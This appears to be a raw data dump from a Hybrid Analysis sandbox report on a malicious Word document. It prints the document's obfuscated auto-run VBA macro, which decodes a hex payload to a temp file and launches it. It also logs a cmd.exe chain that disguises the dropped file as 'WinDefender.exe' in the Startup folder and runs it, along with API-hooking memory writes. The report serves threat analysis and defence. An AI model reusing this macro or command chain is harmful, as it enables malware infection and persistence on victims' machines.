26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 44:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T49d,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious GT:VB.Chartres.7 Sample df0c7bb88e3c… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample df0c7bb88e3c…. Malware family: GT:VB.Chartres.7. Threat score 100/100. 13/25 AV engines flagged this file. 8 malicious and 16 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/df0c7bb88e3c67d849d78d13cee30671b39b300e0cda5550280350775d5762d8","keywords":["Malicious","GT:VB.Chartres.7","malware analysis","sandbox report","threat intelligence","df0c7bb88e3c67d849d78d13cee30671b39b300e0cda5550280350775d5762d8"],"about":{"@type":"SoftwareApplication","name":"39598b710e44a5d27684dfa463ce5148","applicationCategory":["doc","office"],"identifier":"df0c7bb88e3c67d849d78d13cee30671b39b300e0cda5550280350775d5762d8","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"GT:VB.Chartres.7","antivirusDetections":{"malicious":13,"total":25},"behavioralIndicators":{"malicious":8,"suspicious":16},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T1419,File "ThisDocument.cls" (Streampath: "Macros/VBA/ThisDocument") has code: "#If VBA7 Then Private Declare PtrSafe Function HlmaDiTKnzWgOGTinIDp Lib "shell32" Alias "ShellExecuteA" (ByVal XxErYk89 As Long, ByVal JzlP48 As String, ByVal mrAunufdT38 As String, ByVal GrxNCE60 As String, ByVal eqUI11 As String, ByVal ctDkonzmrR62 As Long) As Long #Else Private Declare Function HlmaDiTKnzWgOGTinIDp Lib "shell32" Alias "ShellExecuteA" (ByVal XxErYk89 As Long, ByVal JzlP48 As String, ByVal mrAunufdT38 As String, ByVal GrxNCE60 As String, ByVal eqUI11 As String, ByVal ctDkonzmrR62 As Long) As Long #End If Private Sub YBmCJVYaMSkQpQJoz() Dim BkRLbU88 As String On Error GoTo MKuQidUy1373 BkRLbU88 = vbFrmCPjSxlW4376.lstSDFQMWjW587.Tag & vbFrmCPjSxlW4376.lblaAkcIFGq4480.ControlTipText & StrReverse(vbFrmQLVvXOd4480.cmbCwbWxSU4236.Text) & vbFrmLFgyz4236.opbtnhkQilTt3155.Tag & vbFrmQLVvXOd4480.opbtnEDjWxNF4376.ControlTipText & StrReverse(vbFrmyMRHx3155.imggtCPxEz4169.ControlTipText) & vbFrmLFgyz4236.cmbSQLeYXmJ4299.Text & vbFrmQLVvXOd4480.lstzgNiaEI2828.ControlTipText & StrReverse(vbFrmCPjSxlW4376.cmbOJCtk3877.Tag) & vbFrmLFgyz4236.frameOricA1498.ControlTipText & StrReverse(vbFrmQLVvXOd4480.chkkAXXpl1099.ControlTipText) & StrReverse(vbFrmomlpkL587.frameWBpOPQuM3639.ControlTipText) & vbFrmQLVvXOd4480.chkeuvkSIsW2316.Tag & vbFrmyMRHx3155.framehjwnhKO1967.Tag & StrReverse(vbFrmCPjSxlW4376.tabbpQVKthG2304.Tag) BkRLbU88 = BkRLbU88 + StrReverse(vbFrmomlpkL587.chkoABMo3641.ControlTipText) & StrReverse(vbFrmCPjSxlW4376.txthpKk3677.Tag) & StrReverse(vbFrmQLVvXOd4480.txtrTTMH4260.Text) & vbFrmyMRHx3155.lblClHk2682.ControlTipText & vbFrmyMRHx3155.txtWmwW725.ControlTipText & vbFrmyMRHx3155.togbtnupXlQ4629.ControlTipText & StrReverse(vbFrmomlpkL587.lstWiFGrRP3507.Tag) & vbFrmomlpkL587.opbtnDoHF2275.Tag & StrReverse(vbFrmyMRHx3155.tabPGby1558.ControlTipText) & vbFrmQLVvXOd4480.btnDcYL4941.Caption & StrReverse(vbFrmCPjSxlW4376.frameaVyW2518.ControlTipText) & StrReverse(vbFrmLFgyz4236.lstRazpQaL497.ControlTipText) & vbFrmomlpkL587.imgYvxic2076.Tag & vbFrmQLVvXOd4480.lblTPvS1258.ControlTipText & StrReverse(vbFrmCPjSxlW4376.pagePOaKh1302.Tag) & vbFrmCPjSxlW4376.lblpoqg3182.Caption & vbFrmCPjSxlW4376.tabiljjR3850.Tag BkRLbU88 = BkRLbU88 + StrReverse(vbFrmyMRHx3155.scrollSxmcdPZ4665.ControlTipText) & StrReverse(vbFrmyMRHx3155.lblPKdYwzql774.Tag) & StrReverse(vbFrmCPjSxlW4376.pagewGGD543.ControlTipText) & StrReverse(vbFrmCPjSxlW4376.tabbYyQETH565.ControlTipText) & vbFrmLFgyz4236.lblXrACul2715.Caption XBfRUuDFyRb BkRLbU88, Environ(StrReverse(vbFrmLFgyz4236.chkeKxdEZM763.Tag) & StrReverse(vbFrmCPjSxlW4376.togbtnXfap1860.Tag)) & "" & vbFrmQLVvXOd4480.txtmpcEntXs2700.ControlTipText & StrReverse(vbFrmyMRHx3155.tabSOng3511.Tag) & vbFrmCPjSxlW4376.pageHXAUGFhm2808.Tag & vbFrmQLVvXOd4480.togbtnYVGbjk673.ControlTipText MKuQidUy1373: BkRLbU88 = "" End Sub Private Sub NlFcpNAQnRXzyUeU() HlmaDiTKnzWgOGTinIDp 0, vbFrmLFgyz4236.lstBamJf3364.Tag & vbFrmCPjSxlW4376.scrollvEfx3599.ControlTipText, StrReverse(vbFrmQLVvXOd4480.cmbSnICT2755.Text) & vbFrmyMRHx3155.pageEGcdHp2750.Tag, _ StrReverse(vbFrmLFgyz4236.imgFZQCbng671.Tag) & StrReverse(vbFrmLFgyz4236.btnjGGOzz3383.ControlTipText) & StrReverse(vbFrmQLVvXOd4480.cmbnsgyo608.ControlTipText) & vbFrmLFgyz4236.scrollsLGxgI4968.Tag & StrReverse(vbFrmomlpkL587.chkgxEBh4865.ControlTipText) & StrReverse(vbFrmomlpkL587.framehgFF2486.Tag) & vbFrmLFgyz4236.lstVZPHaQ1610.ControlTipText & vbFrmQLVvXOd4480.frameDMPaCLPc4533.Caption & vbFrmLFgyz4236.imgxGozsUj3148.Tag & vbFrmyMRHx3155.spinbtnrnhfT4252.ControlTipText, 0, 0 End Sub Private Sub XBfRUuDFyRb(ByVal ZZtGHN97 As String, ByVal kKsvsxSoQH70 As String) Dim VoYpAjD19 As Integer Dim DHkHuG54 As Long Dim nzPbonG11() As Byte Dim YktjsLvCeb77 As Long On Error GoTo meIuVSvfGIE3412 VoYpAjD19 = FreeFile YktjsLvCeb77 = Len(ZZtGHN97) DHkHuG54 = YktjsLvCeb77 / 2 If YktjsLvCeb77 Mod 2 <> 0 Then ZZtGHN97 = "0" & ZZtGHN97 End If Open kKsvsxSoQH70 For Binary Lock Read Write As #VoYpAjD19 ReDim nzPbonG11(DHkHuG54) For lgEQm81 = 0 To DHkHuG54 - 1 hdgt = Mid(ZZtGHN97, lgEQm81 * 2 + 1, 2) nzPbonG11(lgEQm81) = "&H" & hdgt Next Put #VoYpAjD19, , nzPbonG11 meIuVSvfGIE3412: Erase nzPbonG11 Close #VoYpAjD19 End Sub Private Sub Document_Open() YBmCJVYaMSkQpQJoz NlFcpNAQnRXzyUeU End Sub" File "Module1.bas" (Streampath: "Macros/VBA/Module1") has code: "Public Sub zCQXiXZDtBZ() End Sub" File "vbFrmCPjSxlW4376.frm" (Streampath: "Macros/VBA/vbFrmCPjSxlW4376") has code: "" File "vbFrmQLVvXOd4480.frm" (Streampath: "Macros/VBA/vbFrmQLVvXOd4480") has code: "" File "vbFrmLFgyz4236.frm" (Streampath: "Macros/VBA/vbFrmLFgyz4236") has code: "" File "vbFrmyMRHx3155.frm" (Streampath: "Macros/VBA/vbFrmyMRHx3155") has code: "" File "vbFrmomlpkL587.frm" (Streampath: "Macros/VBA/vbFrmomlpkL587") has code: ""28:T4e9,"WINWORD.EXE" created file "C:\Users\%OSUSER%\AppData\Local\Temp\~DFEFB5B87B10369551.TMP" "WINWORD.EXE" created file "C:\Users\%OSUSER%\AppData\Local\Temp\~DF5EDFA9D9103C2D8C.TMP" "WINWORD.EXE" created file "C:\Users\%OSUSER%\AppData\Local\Temp\VBE\MSForms.exd" "WINWORD.EXE" created file "C:\Users\%OSUSER%\AppData\Local\Temp\~DF3F284A46327693A7.TMP" "WINWORD.EXE" created file "C:\Users\%OSUSER%\AppData\Local\Temp\~DF2AD55EE4BF3835BA.TMP" "WINWORD.EXE" created file "C:\Users\%OSUSER%\AppData\Local\Temp\~DFFE08B2899887966F.TMP" "WINWORD.EXE" created file "C:\Users\%OSUSER%\AppData\Local\Temp\~DF65D219C033A5D0D4.TMP" "WINWORD.EXE" created file "C:\Users\%OSUSER%\AppData\Local\Temp\~DFA48A53C60E6EF3BC.TMP" "WINWORD.EXE" created file "C:\Users\%OSUSER%\AppData\Local\Temp\~DF3875FB2C02B8E5EC.TMP" "WINWORD.EXE" created file "C:\Users\%OSUSER%\AppData\Local\Temp\~DF17DCC512FA69C90F.TMP" "WINWORD.EXE" created file "C:\Users\%OSUSER%\AppData\Local\Temp\~DFD59D6476E5807198.TMP" "WINWORD.EXE" created file "C:\Users\%OSUSER%\AppData\Local\Temp\~DFCBA8DB4667C1A57D.TMP" "WINWORD.EXE" created file "C:\Users\%OSUSER%\AppData\Local\Temp\~DF58CFE9B1173B758C.TMP" "WINWORD.EXE" created file "C:\Users\%OSUSER%\AppData\Local\Temp\BnXD4uXyS1t6.ZuY"29:Ta04,"WINWORD.EXE" touched "Computer" (Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "WINWORD.EXE" touched "Memory Mapped Cache Mgr" (Path: "HKCU\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\TREATAS") "WINWORD.EXE" touched "SAX XML Reader 6.0" (Path: "HKCU\CLSID\{88D96A0C-F192-11D4-A65F-0040963251E5}") "WINWORD.EXE" touched "MXXMLWriter 6.0" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{88D96A0F-F192-11D4-A65F-0040963251E5}\TREATAS") "WINWORD.EXE" touched "OneNote Word Add-In Take Notes Content Service Class" (Path: "HKCU\CLSID\{C580A1B2-5915-4DC3-BE93-8A51F4CAB320}\INPROCSERVER32") "WINWORD.EXE" touched "PersistentZoneIdentifier" (Path: "HKCU\CLSID\{0968E258-16C7-4DBA-AA86-462DD61E31A3}\TREATAS") "WINWORD.EXE" touched "Security Manager" (Path: "HKCU\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\TREATAS") "WINWORD.EXE" touched "Microsoft Word-Vorlage mit Makros" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{8A624388-AA27-43E0-89F8-2A12BFF7BCCD}\IMPLEMENTED CATEGORIES\{00021490-0000-0000-C000-000000000046}") "WINWORD.EXE" touched "Microsoft Word-Dokument" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{F4754C9B-64F5-4B40-8AF4-679732AC0607}\INPROCHANDLER") "WINWORD.EXE" touched "Microsoft Word-Vorlage" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{912ABC52-36E2-4714-8E62-A8B73CA5E390}\PROGID") "WINWORD.EXE" touched "OpenDocument-Text" (Path: "HKCU\CLSID\{1B261B22-AC6A-4E68-A870-AB5080E8687B}\PROGID") "WINWORD.EXE" touched "Microsoft Word Picture" (Path: "HKCU\CLSID\{00020907-0000-0000-C000-000000000046}\TREATAS") "WINWORD.EXE" touched "Microsoft Forms 2.1 FormPackage" (Path: "HKCU\CLSID\{AC9F2F90-E877-11CE-9F68-00AA00574A4F}\TREATAS") "WINWORD.EXE" touched "Microsoft Forms 2.0 Form" (Path: "HKCU\CLSID\{C62A69F0-16DC-11CE-9E98-00AA00574A4F}\MISCSTATUS") "WINWORD.EXE" touched "Microsoft Word-Vorschau" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{84F66100-FF7C-4FB4-B0C0-02CD7FB668FE}\INPROCHANDLER") "WINWORD.EXE" touched "Microsoft Forms 2.1 DataObject" (Path: "HKCU\CLSID\{1C3B4210-F441-11CE-B9EA-00AA006B1A69}\CONTROL") "WINWORD.EXE" touched "Microsoft Forms 2.1 FontNew" (Path: "HKCU\CLSID\{AFC20920-DA4E-11CE-B943-00AA006887B4}\CONTROL") "WINWORD.EXE" touched "Microsoft Word-Dokument mit Makros" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{18A06B6B-2F3F-4E2B-A611-52BE631B2D22}\INPROCHANDLER") "WINWORD.EXE" touched "Microsoft Word 97-2003-Dokument" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{00020906-0000-0000-C000-000000000046}\INPROCHANDLER") "WINWORD.EXE" touched "TF_ThreadMgr" (Path: "HKCU\CLSID\{529A9E6B-6587-4F23-AB9E-9C7D683E3C50}\TREATAS")2a:T584,"WINWORD.EXE" touched file "C:\Windows\Globalization\Sorting\SortDefault.nls" "WINWORD.EXE" touched file "C:\Windows\Fonts\StaticCache.dat" "WINWORD.EXE" touched file "C:\Windows\System32\en-US\user32.dll.mui" "WINWORD.EXE" touched file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\clr.dll" "WINWORD.EXE" touched file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\mscorwks.dll" "WINWORD.EXE" touched file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\clr.dll" "WINWORD.EXE" touched file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\mscorwks.dll" "WINWORD.EXE" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\clr.dll" "WINWORD.EXE" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorwks.dll" "WINWORD.EXE" touched file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\clr.dll" "WINWORD.EXE" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" "WINWORD.EXE" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches\cversions.1.db" "WINWORD.EXE" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000028.db" "WINWORD.EXE" touched file "C:\Windows\AppPatch\sysmain.sdb" "WINWORD.EXE" touched file "C:\Windows\System32\rsaenh.dll" "WINWORD.EXE" touched file "C:\Windows\System32\en-US\KernelBase.dll.mui" "WINWORD.EXE" touched file "C:\Windows\System32\msxml6r.dll"2b:T8b8,"WINWORD.EXE" wrote bytes "6fedea28" to virtual address "0x68D0F530" (part of module "WWLIB.DLL") "WINWORD.EXE" wrote bytes "e9d732a4ef" to virtual address "0x76BA47BA" ("SysAllocStringByteLen@OLEAUT32.DLL") "WINWORD.EXE" wrote bytes "83deea28" to virtual address "0x678078E4" (part of module "OART.DLL") "WINWORD.EXE" wrote bytes "e9fef348ef" to virtual address "0x776FA00A" ("OleLoadFromStream@OLE32.DLL") "WINWORD.EXE" wrote bytes "0883c40c" to virtual address "0x61A61F20" (part of module "MSCORWKS.DLL") "WINWORD.EXE" wrote bytes "c37259fd" to virtual address "0x61672A00" (part of module "CSS7DATA0009.DLL") "WINWORD.EXE" wrote bytes "fefd7c54" to virtual address "0x66800BA8" (part of module "MSO.DLL") "WINWORD.EXE" wrote bytes "990f709c" to virtual address "0x61CF9904" (part of module "RICHED20.DLL") "WINWORD.EXE" wrote bytes "c04e8d7720548e77e0658e77b5388f770000000000d0807700000000c5ea80770000000088ea807700000000e968887582288f77ee298f7700000000d2698875000000007dbb80770000000009be887500000000ba18807700000000" to virtual address "0x75AE1000" (part of module "NSI.DLL") "WINWORD.EXE" wrote bytes "f89b1bb5" to virtual address "0x6E6B42C4" (part of module "MSPROOF7.DLL") "WINWORD.EXE" wrote bytes "e96953a3ef" to virtual address "0x76BA3F8A" ("SysFreeString@OLEAUT32.DLL") "WINWORD.EXE" wrote bytes "b800000000663d33c0ba7c492d0068dcf58f61c3" to virtual address "0x0415E9A4" "WINWORD.EXE" wrote bytes "b800000000663d33c0bafc492d0068dcf58f61c3" to virtual address "0x0415E9C4" "WINWORD.EXE" wrote bytes "b800000000663d33c0ba3c4a2d0068dcf58f61c3" to virtual address "0x0415E9E4" "WINWORD.EXE" wrote bytes "b811110000663d33c0ba6480580668dcf58f61c3" to virtual address "0x0415EA04" "WINWORD.EXE" wrote bytes "96225efd" to virtual address "0x6D3E3408" (part of module "MSCSS7EN.DLL") "WINWORD.EXE" wrote bytes "e9c454a4ef" to virtual address "0x76BA3F20" ("VariantClear@OLEAUT32.DLL") "WINWORD.EXE" wrote bytes "e9848ed9ee" to virtual address "0x7780F71B" ("SetUnhandledExceptionFilter@KERNEL32.DLL") "WINWORD.EXE" wrote bytes "e9ab99a6ef" to virtual address "0x76BA5D66" ("VariantChangeType@OLEAUT32.DLL") "WINWORD.EXE" wrote bytes "8be2460f" to virtual address "0x2F691B94" (part of module "WINWORD.EXE")2c:T707,"WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "AR") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "ZH-CN") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "ZH-HANS") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "ZH-HANS") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "CA-ES") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "CA-ES") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "CA") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "CA") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "BG-BG") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "BG-BG") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "BG") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "BG") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "AR-SA") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "AR-SA") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "AR") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "DE-DE") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "DE-DE")2d:T403,"cmd.exe" wrote 32 bytes to a remote process "C:\Windows\System32\PING.EXE" (Handle: 128) "cmd.exe" wrote 52 bytes to a remote process "C:\Windows\System32\PING.EXE" (Handle: 128) "cmd.exe" wrote 4 bytes to a remote process "C:\Windows\System32\PING.EXE" (Handle: 128) "cmd.exe" wrote 32 bytes to a remote process "C:\Windows\System32\forfiles.exe" (Handle: 124) "cmd.exe" wrote 52 bytes to a remote process "C:\Windows\System32\forfiles.exe" (Handle: 124) "cmd.exe" wrote 4 bytes to a remote process "C:\Windows\System32\forfiles.exe" (Handle: 124) "cmd.exe" wrote 32 bytes to a remote process "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WinDefender.exe" (Handle: 124) "cmd.exe" wrote 52 bytes to a remote process "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WinDefender.exe" (Handle: 124) "cmd.exe" wrote 4 bytes to a remote process "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WinDefender.exe" (Handle: 124)2e:T541,Spawned process "WINWORD.EXE" with commandline "/n "C:\39598b710e44a5d27684dfa463ce5148.doc"" (UID: 00000000-00003256) Spawned process "cmd.exe" with commandline "/c ping -n 20 41.69.215.184&pushd&forfiles /P %tmp% /S /M BnXD4uXyS1t6*.ZuY /C "cmd /c move /y @file \"%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\WinDefender.exe\"&ping -n 13 169.169.147.81&pushd&\"%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\WinDefender.exe\""" (UID: 00000000-00002140) Spawned process "PING.EXE" with commandline "ping -n 20 41.69.215.184" (UID: 00000000-00001876) Spawned process "forfiles.exe" with commandline "forfiles /P %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\WinDefender.exe\"&ping -n 13 169.169.147.81&pushd&\"%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\WinDefender.exe\""" (UID: 00000000-00003836) Spawned process "cmd.exe" with commandline "/c move /y "BnXD4uXyS1t6.ZuY" "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\WinDefender.exe"&ping -n 13 169.169.147.81&pushd&"%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\WinDefender.exe"" (UID: 00000000-00001596) Spawned process "PING.EXE" with commandline "ping -n 13 169.169.147.81" (UID: 00000000-00000320) Spawned process "WinDefender.exe" (UID: 00000000-00004032) Spawned process "WinDefender.exe" (UID: 00000000-00000984)2f:T6ba,file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; File: "BnXD4uXyS1t6.ZuY") file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; File: "BnXD4uXyS1t6.ZuY") file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-"; File: "BnXD4uXyS1t6.ZuY") file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_"; File: "BnXD4uXyS1t6.ZuY") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp")30:T2010,"cmd.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000003300000000000000000000000000e80233000000000068023300000000000000000000000000dc0000dc000000000700000000000000fccd3dfdfe0700000000000000000000000000000000000030023300000000001402001600000000000000000000000030023300000000000000000000000000000000000000000000000000000000002082330000000000000000000000000028ae697700000000000000000000000018cd160000000000010000000000000080c81600000000000100000000000000ca2116fdfe0700000000000000000000f04d19fdfe07000080c81600 (UID: 00000000-00003104) "cmd.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003104) "PING.EXE" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004124) "forfiles.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004392) "forfiles.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004392) "cmd.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004100) "cmd.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000002a000000000030022a0000000000e8022a000000000068022a0000000000000000000000000068022a000000000058012a0000000000fccd3dfdfe0700001d00001d0000000074492a000000000030022a00000000000000000000000000000000000000000030022a00000000000000000000000000100000000000000030022a00000000000000000000000000000000000000000028ae697700000000000000000000000018d0220000000000010000000000000080cb2200000000000100000000000000ca2116fdfe0700000000000000000000f04d19fdfe07000080cb2200 (UID: 00000000-00004100) "WinDefender.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000180000000000aeeb18000500000081d07f7564eb180068eb18000000000000086a0002fa867785c51675140100001401000034eb1800081404771401000054eb180010f018005ecb7d751401000000000000005d7b756cf218000e5d7b7504ee1800dcaa7f75010000000000000072000000ffffffffffffffff8ceb18007802000000000000250000008ceb18007b00370035003800340037003100370037002d0046003000370037002d0034003100370031002d0042004400320043002d004100360042004200320031003600b9846054e4eb18006d82157764136b0004010000 (UID: 00000000-00001232) "WinDefender.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001232) "WinDefender.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001232) "WinDefender.exe" called "RtlGetVersion" with parameter 